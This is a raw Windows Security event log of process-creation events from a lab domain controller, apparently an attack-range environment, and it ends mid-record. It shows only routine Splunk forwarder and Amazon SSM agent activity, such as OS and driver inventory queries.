-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253731 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253749 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-CimInstance Win32_OperatingSystem" "| Select-Object" "Version, OperatingSystemSKU" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253748 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfec - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253747 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd94 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253746 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253745 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253744 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xedc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253743 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf0c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253752 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1a0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-ItemProperty -Path 'HKLM:\SOFTWARE\Amazon\PVDriver'" "| Select-Object" "Name, Version" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253751 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253750 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf98 - New Process Name: C:\Windows\System32\wbem\WMIC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: wmic OS get OperatingSystemSKU /format:list - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253756 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-CimInstance Win32_PnPSignedDriver | Where-Object { $_.DeviceID -eq 'XENBUS\VEN_XS0001&DEV_VBD&REV_00000001\_' -or $_.DeviceClass -eq 'Net' -and ( $_.Manufacturer -like 'Intel*' -or $_.Manufacturer -eq 'Citrix Systems, Inc.' -or $_.Manufacturer -eq 'Amazon Inc.' -or $_.Manufacturer -eq 'Amazon Web Services, Inc.' )}" "| Select-Object" "Description, DriverVersion" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253755 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfa4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253754 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf98 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-CimInstance Win32_PnPEntity | Where-Object { $_.Service -eq 'xenvbd' }" "| Select-Object" DeviceID "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253753 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec8 - New Process Name: C:\Windows\System32\wbem\WMIC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: wmic OS get OperatingSystemSKU /format:list - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253758 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdf0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-WinEvent -FilterHashtable @( @{ LogName='System'; ProviderName='Microsoft-Windows-Kernel-General'; Id=12; Level=4 }, @{ LogName='System'; ProviderName='Microsoft-Windows-WER-SystemErrorReporting'; Id=1001; Level=2 } ) | Sort-Object TimeCreated -Descending" "| Select-Object" "Id, Level, ProviderName, TimeCreated, Properties" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253757 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd5c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253760 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253759 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253761 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: 